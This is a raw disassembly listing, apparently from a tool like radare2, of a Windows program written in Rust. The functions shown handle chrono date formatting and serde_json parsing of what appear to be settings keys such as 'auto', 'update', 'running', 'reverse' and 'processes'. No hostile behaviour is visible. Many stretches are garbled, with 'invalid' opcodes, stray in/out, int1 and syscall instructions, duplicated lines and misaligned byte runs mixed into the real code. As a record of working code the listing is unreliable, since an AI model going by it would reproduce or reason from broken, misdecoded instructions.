mov rdx, qword [rsp + 0x40]
jmp 0x140024760
mov r8d, 3
lea rcx, [rsp + 0x30]
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jmp 0x140025390
mov r8d, 1
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
lea r8, fcn.1400093b0
jmp 0x1400248dc
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [r12 + 1]
and r10d, 0x3f
cmp al, 0xdf
mov qword [rsp + 0x28], r12
jbe 0x1400258d6
movzx r8d, byte [r12 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400258fa
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and eax, 0x3f
or eax, r8d
or eax, ecx
cmp eax, 0x110000
je 0x1400258ce
jmp 0x140025903
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [r12 + 1]
and r10d, 0x3f
cmp al, 0xdf
mov qword [rsp + 0x28], r12
jbe 0x1400258e0
movzx r8d, byte [r12 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140025968
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and eax, 0x3f
or eax, r8d
or eax, ecx
cmp eax, 0x110000
jne 0x140025971
jmp 0x1400258ce
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [r12 + 1]
and r10d, 0x3f
cmp al, 0xdf
mov qword [rsp + 0x28], r12
jbe 0x1400258ed
movzx r8d, byte [r12 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400259cf
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and eax, 0x3f
or eax, r8d
or eax, ecx
cmp eax, 0x110000
jne 0x1400259d8
mov rbx, rdx
jmp 0x1400234fe
shl ecx, 6
or ecx, r10d
mov eax, ecx
jmp 0x140025903
shl ecx, 6
or ecx, r10d
mov eax, ecx
jmp 0x140025971
shl ecx, 6
or ecx, r10d
mov eax, ecx
jmp 0x1400259d8
shl ecx, 0xc
or r8d, ecx
mov eax, r8d
mov r8d, 1
cmp eax, 0x80
jb 0x14002592c
mov r8d, 2
cmp eax, 0x800
jb 0x14002592c
cmp eax, 0x10000
mov r8d, 4
sbb r8, 0
mov r15, qword [rsp + 0xb8]
mov r12, qword [rsp + 0x28]
mov r9, rdx
sub r9, r8
jbe 0x14002594d
cmp byte [r12 + r8], 0xbf
jg 0x140025953
jmp 0x140025ef4
jne 0x140025ef4
mov cl, 6
cmp eax, 0x66
jne 0x140025a36
mov byte [rsp + 0x49], 0xc
jmp 0x140025a34
shl ecx, 0xc
or r8d, ecx
mov eax, r8d
mov r8d, 1
cmp eax, 0x80
jb 0x14002599a
mov r8d, 2
cmp eax, 0x800
jb 0x14002599a
cmp eax, 0x10000
mov r8d, 4
sbb r8, 0
mov r15, qword [rsp + 0xb8]
mov r12, qword [rsp + 0x28]
mov r9, rdx
sub r9, r8
jbe 0x1400259bb
cmp byte [r12 + r8], 0xbf
jg 0x1400259c1
jmp 0x140025f00
jne 0x140025f00
mov cl, 6
cmp eax, 0x66
jne 0x140025a36
mov byte [rsp + 0x49], 0xb
jmp 0x140025a34
shl ecx, 0xc
or r8d, ecx
mov eax, r8d
mov r8d, 1
cmp eax, 0x80
jb 0x140025a01
mov r8d, 2
cmp eax, 0x800
jb 0x140025a01
cmp eax, 0x10000
mov r8d, 4
sbb r8, 0
mov r15, qword [rsp + 0xb8]
mov r12, qword [rsp + 0x28]
mov r9, rdx
sub r9, r8
jbe 0x140025a22
cmp byte [r12 + r8], 0xbf
jg 0x140025a28
jmp 0x140025f0c
jne 0x140025f0c
mov cl, 6
cmp eax, 0x66
jne 0x140025a36
mov byte [rsp + 0x49], 0xd
mov cl, 5
add r12, r8
mov byte [rsp + 0x48], cl
mov rdx, r9
xor r13d, r13d
mov rbx, rdx
test dil, dil
jne 0x1400238ab
movzx ecx, byte [rsp + 0x48]
movzx eax, byte [rsp + 0x49]
movzx r14d, byte [rsp + 0x4a]
mov rsi, qword [rsp + 0x50]
mov esi, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
lea r9, [rsp + 0x4b]
mov r8d, dword [r9]
mov dword [rsp + 0x80], r8d
movzx r8d, byte [r9 + 4]
mov byte [rsp + 0x84], r8b
cmp cl, 7
jne 0x140023295
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rsi, [rsp + 0x1d0]
mov rcx, rsi
call fcn.14003de60
mov ebx, eax
cmp qword [rsp + 0x38], 0
je 0x140025ac7
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
jne 0x140025d11
movdqu xmm0, xmmword [rsp + 0x2a8]
movdqa xmmword [rsp + 0x220], xmm0
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x230], rax
cmp qword [rsp + 0x108], 0
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x140025a60
and al, 0x20
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, byte [rax]
add byte [rax - 0x7d], cl
mov esp, 0x10824
add byte [rax], al
je 0x140025b1e
cmp qword [rsp + 0x188], 0
je 0x140025b1e
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x108]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsp + 0x220]
mov qword [rsp + 0x1d0], rax
lea rax, [0x140010660]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x2d0]
rol byte [rdx], 1
add byte [rax], al
rol byte [rdx], 1
add byte [rax], al
mov qword [rsp + 0x1e0], rax
lea rax, [0x14003e180]
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
lea rax, [0x1400b3988]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 4
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], 3
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x48]
call fcn.14003c3d0
mov rdi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
lea rcx, [rsp + 0x198]
mov rdx, rdi
call fcn.140007960
test rax, rax
je 0x140025c2b
mov rsi, rax
test rbx, rbx
je 0x140025bf9
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x228], 0
je 0x140025c1b
mov r8, qword [rsp + 0x220]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x140025c74
test rbx, rbx
je 0x140025c42
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x228], 0
je 0x140025c64
mov r8, qword [rsp + 0x220]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.kernel32.dll_CloseHandle]
xor esi, esi
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x2e0]
add rsp, 0x2f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
or ecx, dword [rbp + rcx*4 + 5]
pop rbx
xchg edi, eax
or al, byte [rax]
jmp 0x140025cbf
mov edx, 0x191
call fcn.1400a4430
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rs
jmp 0x140025ce4
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rs
jmp 0x140025ce4
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rs
mov ecx, 7
mov edx, 7
call fcn.1400a4430
ud2
cmp qword [rsp + 0x38], 0
je 0x140025d11
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1400de568]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400a9f60]
lea r8, [rsp + 0x80]
mov edx, 0x37
call fcn.1400a48c0
ud2
lea rcx, [0x1400ce9c9]
lea r8, [0x1400cea18]
mov edx, 0x1e
call fcn.1400a4530
ud2
lea rax, [0x1400cea30]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
call fcn.1400a4aa0
ud2
lea rax, [0x1400ce6d0]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rsi
jmp 0x140025d9b
lea rax, [0x1400ce6e8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rbx
mov r9, rbx
call fcn.1400a4aa0
ud2
lea rcx, [0x1400ce9c9]
lea r8, [0x1400ce9e8]
jmp 0x140025d4d
lea rax, [0x1400cea00]
jmp 0x140025d60
mov qword [rsp + 0x20], rax
mov rcx, r12
mov r9, rdx
call fcn.1400a4aa0
ud2
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rs
jmp 0x140025e73
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rs
jmp 0x140025e73
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rs
mov edx, 0xc
call fcn.1400a4430
ud2
lea rax, [0x1400ce920]
jmp 0x140025d93
lea rax, [0x1400ce980]
jmp 0x140025d93
lea rax, [0x1400ce998]
jmp 0x140025d93
lea rax, [0x1400ce8d8]
mov qword [rsp + 0x20], rax
mov r8d, 1
jmp 0x140025d98
lea rax, [0x1400ce950]
jmp 0x140025e39
lea rax, [0x1400ce938]
jmp 0x140025e39
lea rax, [0x1400ce968]
jmp 0x140025e39
invalid
and al, 0x50
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, [rsp + 0x98]
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0x80], 1
movups xmmword [rsp + 0x88], xmm0
mov byte [rsp + 0xc0], 0x80
lea r14, [rsp + 0x50]
movabs rbp, 0x100002600
nop dword [rax]
invalid
invalid
invalid
mov rcx, r14
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027989
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
cmp rax, 0x20
ja 0x140027192
bt rbp, rax
jae 0x140027192
mov byte [rsp + 0xb8], 0
jmp 0x140027150
cmp eax, 0x5b
je 0x1400279bd
cmp eax, 0x7b
jne 0x140027b40
dec byte [rsp + 0xc0]
je 0x140027b1b
mov byte [rsp + 0xb8], 0
mov r13b, 2
xor eax, eax
lea r15, [rsp + 0x50]
mov byte [rsp + 0x7f], 2
and al, 0x7f
add al, dh
and al, 0x46
add al, dh
and al, 0x47
add al, byte [rbp + 0x31]
in al, 0x31
invalid
test al, al
je 0x1400271f0
and al, 0x7f
add al, dh
and al, 0x46
add al, dh
and al, 0x47
add al, byte [rbp + 0x31]
in al, 0x31
fild dword [rax + rax*8 - 0x49f0ea8c]
test byte [rcx + rdi*4], ah
add byte [rax], al
add bl, ch
invalid
movzx eax, byte [rsp + 0xb9]
jmp 0x14002721c
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027c37
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
movzx ecx, al
cmp cl, 0x2c
ja 0x1400272a2
bt rbp, rcx
jae 0x140027234
mov byte [rsp + 0xb8], 0
jmp 0x1400271f0
cmp rcx, 0x2c
jne 0x1400272a2
test bl, 1
je 0x140027cc0
mov byte [rsp + 0xb8], 0
lea rbx, [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
pushfq
and al, 0x80
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
std
dec dword [rdi]
mov dh, 0x44
and al, 0x50
test eax, eax
jne 0x140027aea
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
cmp rax, 0x20
ja 0x1400272bc
bt rbp, rax
jae 0x1400272bc
mov byte [rsp + 0xb8], 0
jmp 0x140027260
cmp ecx, 0x7d
je 0x140027bcf
jge 0x1400272b5
test byte [rcx + rcx], ah
add byte [rax], al
test bl, 1
lea rbx, [rsp + 0x80]
jne 0x140027d61
or al, byte [rax]
invalid
add byte [rax], 0
add byte [rdi], cl
test dword [rbp + 0x3c00000a], esp
or al, byte [rax]
add byte [rdx + riz], bh
jne 0x140027caa
mov byte [rsp + 0xb8], 0
or al, byte [rax]
add byte [rdx + riz], bh
cmp al, 0x22
jne 0x140027caa
mov byte [rsp + 0xb8], 0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov qword [rsp + 0x90], 0
mov rcx, r15
mov rdx, rdi
mov r8, rbx
call fcn.140012140
cmp dword [rsp + 0x50], 2
mov r14, qword [rsp + 0x58]
je 0x140027c99
mov rax, qword [rsp + 0x60]
add rax, 0xfffffffffffffffc
cmp rax, 5
cmp eax, 5
cmp eax, 5
add eax, 0x15d870f
add byte [rax], al
ja case.0x140027317.5
lea rcx, [0x1400e6ac4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
cmp dword [r14], 0x6f747561
je 0x14002738f
outsd dx, dword [rsi]
jne case.0x140027317.5
cmp r13b, 2
jne 0x140027dee
mov rcx, rbx
call fcn.1400054a0
test rax, rax
jne 0x140027c54
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rdx, rbx
call fcn.1400129d0
cmp byte [rsp + 0x50], 0
jne 0x140027c94
movzx r13d, byte [rsp + 0x51]
jmp 0x140027972
mov eax, dword [r14]
mov ecx, 0x61647075
xor eax, ecx
movzx ecx, word [r14 + 4]
mov bh, 0x4e
add al, 0x81
int1
je 0x1400273da
add byte gs:[rax], al
mov bh, 0x4e
add al, 0x81
int1
je 0x1400273da
invalid
add byte gs:[rax], al
add byte [rax], al
or ecx, eax
jne case.0x140027317.5
invalid
ror dword [rdi], 0x85
out 0, eax
add byte [rax], al
invalid
add byte [rbp - 0x7b], cl
in al, 0xf
test dword [rdx + rcx], esi
add byte [rax - 0x77], cl
fld1
adc cl, ah
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
xor cl, byte [rdx]
add byte [rax], al
test r12, r12
jne 0x140027dfc
mov rcx, rbx
call fcn.1400054a0
test rax, rax
jne 0x140027dcb
test dword [rdx], esi
or al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
mov ecx, edi
mov rcx, r15
mov ecx, edi
mov rdx, rbx
call fcn.140012830
mov r12, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rax
test r12, r12
je 0x140027d57
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x170], rax
jmp 0x140027972
mov eax, dword [r14]
mov ecx, 0x6e6e7572
xor eax, ecx
mov ecx, dword [r14 + 3]
mov edx, 0x676e696e
add r15, qword [rdx + 0x676e696e]
xor ecx, edx
or ecx, eax
ror dword [rdi], 0x84
syscall
add byte [rax], al
ror dword [rdi], 0x84
syscall
add byte [rax], al
mov eax, dword [r14]
mov ecx, 0x65766572
xor eax, ecx
enter 0xffffffffffff8b41, 0x4e
add edi, dword [rdx + 0x65737265]
enter 0xffffffffffff8b41, 0x4e
add edi, dword [rdx + 0x65737265]
xor ecx, edx
or ecx, eax
jne case.0x140027317.5
cmp byte [rsp + 0x7f], 2
jne 0x140027e3b
and al, 0x7f
add cl, byte [rdi]
test dword [rdx + rcx], ebp
add byte [rax], al
mov rcx, rbx
call fcn.1400054a0
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
xor al, 8
add byte [rax], al
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
xor al, 8
add byte [rax], al
mov rcx, r15
mov rdx, rbx
call fcn.1400129d0
cmp byte [rsp + 0x50], 0
jne 0x140027c94
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x7f], al
jmp 0x140027972
mov rax, qword [r14]
movabs rcx, 0x65737365636f7270
xor rax, rcx
movzx ecx, byte [r14 + 8]
or byte [rax - 0x7d], cl
int1
or rcx, rax
or byte [rax - 0x7d], cl
int1
or rcx, rax
je 0x140027937
mov rcx, rbx
call fcn.1400054a0
test rax, rax
jne 0x140027c54
invalid
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0x90], 0
movzx eax, byte [rsp + 0xb8]
xor ebx, ebx
nop word cs:[rax + rax]
test al, al
je 0x1400274b0
movzx r14d, byte [rsp + 0xb9]
jmp 0x1400274de
mov rcx, r15
mov rdx, rdi
mov edx, edi
mov edx, edi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027bad
in eax, 6
add byte [rax], al
in eax, 6
add byte [rax], al
movzx r14d, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
add byte [rax], al
invalid
and al, 0xb8
add byte [rax], al
invalid
add byte [rax], al
add dword [rax + rcx*4 - 0x4c], eax
and al, 0xb9
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xc6
add byte [rcx], al
mov byte [rsp + 0xb9], r14b
movzx eax, r14b
cmp al, 0x2d
ja case.0x140024c87.41
bt rbp, rax
jae 0x1400274f6
mov byte [rsp + 0xb8], 0
mov eax, 0
add byte [rax], al
jmp 0x1400274b0
cmp rax, 0x22
je 0x1400275fa
cmp rax, 0x2d
jne case.0x140024c87.41
mov byte [rsp + 0xb8], 0
jmp 0x14002761a
add eax, 0xffffffa5
cmp eax, 0x20
ja case.default.0x14002753a
loopne 0x14002752a
add byte [rax], al
loopne 0x14002752a
add byte [rax], al
lea rcx, [0x1400e6adc]
cmc
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx r8d, bl
and r8d, 1
ret
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rax + 0x29], cl
ror byte [rcx + rdi - 0x40], 1
and al, 0x90
add byte [rax], al
add byte [rax + 0x29], cl
ror byte [rcx + rdi - 0x40], 1
jb 0x140027678
add byte [rax], al
test bl, 1
je 0x140027574
mov rax, qword [rsp + 0x80]
mov byte [rax + rdx], r12b
mov byte [rax + rdx], ah
mov byte [rax + rdx], ah
inc rdx
mov qword [rsp + 0x90], rdx
mov byte [rsp + 0xb8], 0
xor eax, eax
xor ebx, ebx
mov r12d, r14d
test al, al
jne 0x14002766e
jmp 0x1400276a8
adc byte [rcx], al
add byte [rax], al
mov byte [rsp + 0xb8], 0
mov r8d, 4
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x80]
lea rdx, [0x1400a9b1e]
jmp 0x1400275f3
mov byte [rsp + 0xb8], 0
mov r8d, 3
lea rcx, [rsp + 0x80]
lea rdx, str.ullruealseC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcde.rs
jmp 0x1400275f3
mov byte [rsp + 0xb8], 0
mov r8d, 3
lea rcx, [rsp + 0x80]
lea rdx, [0x1400a9b1b]
call fcn.140004780
jmp 0x140027627
mov byte [rsp + 0xb8], 0
mov rcx, rdi
call fcn.140011e90
jmp 0x140027627
add r14b, 0xd0
cmp r14b, 0xa
jae 0x140027de0
lea rcx, [rsp + 0x80]
call fcn.140004e60
test rax, rax
jne 0x140027cfc
test bl, 1
jne 0x140027660
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x1400278f0
lea rcx, [rax - 1]
mov qword [rsp + 0x90], rcx
mov rcx, qword [rsp + 0x80]
movzx r12d, byte [rcx + rax - 1]
mov bl, 1
movzx eax, byte [rsp + 0xb8]
test al, al
je 0x1400276a8
movzx ecx, byte [rsp + 0xb9]
jmp 0x1400276d6
lea rcx, [rsp + 0x80]
call fcn.1400a5460
mov rdx, qword [rsp + 0x90]
test bl, 1
jne 0x140027565
jmp 0x140027574
mov byte [rsp + 0xb8], 0
mov rcx, r15
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027ab6
movzx ecx, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], cl
mov al, 1
movzx edx, cl
cmp dl, 0x2c
ja 0x140027710
bt rbp, rdx
jb 0x1400276a0
cmp rdx, 0x2c
jne 0x140027710
mov cl, 0x2c
test bl, bl
je 0x1400277ff
mov byte [rsp + 0xb8], 0
mov cl, 0x2c
xor eax, eax
jmp 0x1400277ff
cmp edx, 0x5d
je 0x1400277ed
cmp edx, 0x7d
jne 0x1400277f7
cmp r12b, 0x7b
jne 0x1400277f7
mov byte [rsp + 0xb8], 0
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x1400278f0
lea rcx, [rax - 1]
mov qword [rsp + 0x90], rcx
mov rcx, qword [rsp + 0x80]
movzx r12d, byte [rcx + rax - 1]
nop
mov rcx, r15
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027ab6
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
cmp rax, 0x2c
ja 0x1400277ac
bt rbp, rax
jae 0x1400277a2
mov byte [rsp + 0xb8], 0
jmp 0x140027760
cmp rax, 0x2c
je 0x1400276f4
cmp eax, 0x5d
je 0x1400277c5
cmp eax, 0x7d
jne 0x140027b64
cmp r12b, 0x7b
je 0x1400277cf
jmp 0x140027b64
cmp r12b, 0x5b
jne 0x140027b64
mov byte [rsp + 0xb8], 0
mov rax, qword [rsp + 0x90]
test rax, rax
jne 0x140027745
jmp 0x1400278f0
cmp r12b, 0x5b
je 0x14002772c
test bl, bl
jne 0x140027b64
mov bl, 1
cmp r12b, 0x7b
jne 0x1400274a0
test al, al
jne 0x14002783c
nop
mov rcx, r15
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027b29
movzx ecx, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], cl
cmp cl, 0x22
ja 0x140027cce
movzx eax, cl
bt rbp, rax
jae 0x140027858
mov byte [rsp + 0xb8], 0
jmp 0x140027810
cmp rax, 0x22
jne 0x140027cce
mov byte [rsp + 0xb8], 0
mov rcx, rdi
call fcn.140011e90
test rax, rax
jne 0x140027cfc
cmp byte [rsp + 0xb8], 0
je 0x140027890
movzx eax, byte [rsp + 0xb9]
jmp 0x1400278bc
mov rcx, r15
mov rdx, rdi
call section..text
movzx eax, byte [rsp + 0x50]
test eax, eax
jne 0x140027b29
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], al
cmp al, 0x3a
ja 0x140027cd9
movzx eax, al
bt rbp, rax
jae 0x1400278d7
mov byte [rsp + 0xb8], 0
jmp 0x140027890
cmp rax, 0x3a
jne 0x140027cd9
mov byte [rsp + 0xb8], 0
xor eax, eax
jmp 0x1400274a0
mov r12, qword [rsp + 0xe8]
jmp 0x140027972
cmp byte [rsp + 0x47], 2
jne 0x140027e24
mov rcx, rbx
call fcn.1400054a0
test rax, rax
jne 0x140027c54
mov rcx, r15
mov rdx, rbx
call fcn.1400129d0
cmp byte [rsp + 0x50], 0
jne 0x140027c94
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x47], al
jmp 0x140027972
cmp byte [rsp + 0x46], 2
jne 0x140027e2d
mov rcx, rbx
call fcn.1400054a0
test rax, rax
jne 0x140027c54
mov rcx, r15
mov rdx, rbx
call fcn.1400129d0
cmp byte [rsp + 0x50], 0
jne 0x140027c94
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x46], al
mov bl, 1
movzx eax, byte [rsp + 0xb8]
test al, al
jne 0x1400271db
jmp 0x1400271f0
cmp eax, 2
jne 0x140027aa4
mov qword [rsp + 0x50], 5
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.1400a74c0
mov rdi, rax
jmp 0x140028643
dec byte [rsp + 0xc0]
je 0x140027b1b
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0xf0], rbx
mov byte [rsp + 0xf8], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xf0]
call fcn.140010500
cmp byte [rsp + 0x50], 0
movzx r12d, byte [rsp + 0x51]
mov r13b, 2
jne 0x140027a7d
cmp r12b, 2
je 0x140027c30
mov r14, qword [rsp + 0x58]
inc byte [rsp + 0xc0]
cmp byte [rsp + 0xb8], 0
je 0x1400282b9
mov rcx, qword [rsp + 0x58]
call fcn.1400a7540
mov rdi, rax
jmp 0x140028643
cmp eax, 2
jne 0x140027bc0
mov eax, 2
cmp r12b, 0x5b
mov r15, qword [rsp + 0x48]
je 0x140027b86
movzx eax, r12b
cmp eax, 0x7b
jne 0x140028129
mov eax, 3
jmp 0x140027b86
cmp eax, 2
jne 0x140027c4a
mov qword [rsp + 0x50], 5
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.1400a74c0
jmp 0x140027c54
mov qword [rsp + 0x50], 0x18
jmp 0x14002799b
cmp eax, 2
jne 0x140027bc0
mov qword [rsp + 0x50], 3
jmp 0x140027ce2
lea r8, [0x1400aa828]
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xe7]
call fcn.1400a27c0
mov r14, rax
jmp 0x140028164
mov eax, 7
cmp r12b, 0x5b
mov r15, qword [rsp + 0x48]
je 0x140027b86
movzx eax, r12b
cmp eax, 0x7b
jne 0x140028139
mov eax, 8
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.1400a74c0
mov r14, rax
jmp 0x140027d04
cmp eax, 2
jne 0x140027bc0
mov qword [rsp + 0x50], 5
jmp 0x140027ce2
mov rcx, qword [rsp + 0x58]
call fcn.1400a7540
jmp 0x140027cfc
movzx eax, byte [rsp + 0x47]
cmp al, 2
movzx ecx, byte [rsp + 0x46]
je 0x140027d6f
cmp cl, 2
mov r15, qword [rsp + 0x48]
je 0x140027d85
cmp byte [rsp + 0x7f], 2
je 0x140027d93
cmp r13b, 2
je 0x140027da1
test r12, r12
je 0x140027dba
and al, 1
mov byte [rsp + 0x47], al
and cl, 1
mov byte [rsp + 0x46], cl
movzx eax, byte [rsp + 0x7f]
and al, 1
and r13b, 1
mov r14, r12
mov r12d, eax
jmp 0x140027d2b
cmp eax, 2
jne 0x140027c4a
mov qword [rsp + 0x50], 3
jmp 0x140027afc
mov rcx, qword [rsp + 0x58]
call fcn.1400a7540
mov r14, rax
mov r15, qword [rsp + 0x48]
jmp 0x140027d0c
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x48]
jmp 0x140027d0c
movzx eax, al
cmp eax, 0x7d
jne 0x140027cc0
mov qword [rsp + 0x50], 0x15
jmp 0x140027afc
mov qword [rsp + 0x50], 0x11
jmp 0x140027afc
mov qword [rsp + 0x50], 0x11
jmp 0x140027ce2
mov qword [rsp + 0x50], 6
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.1400a74c0
mov r14, rax
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0xe8]
mov r13b, 2
test r12, r12
je 0x140027d2b
test r15, r15
je 0x140027d2b
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
inc byte [rsp + 0xc0]
cmp byte [rsp + 0xb8], 0
je 0x1400286df
movzx eax, byte [rsp + 0xb9]
jmp 0x140028709
mov r13b, 2
mov r14, qword [rsp + 0x48]
jmp 0x140027d2b
mov qword [rsp + 0x50], 8
jmp 0x140027afc
lea rcx, [0x1400b3b22]
mov edx, 7
call fcn.1400a3310
jmp 0x140027c54
lea rcx, [0x1400b3b29]
mov edx, 9
jmp 0x140027dad
lea rcx, [0x1400b3b32]
mov edx, 7
jmp 0x140027dad
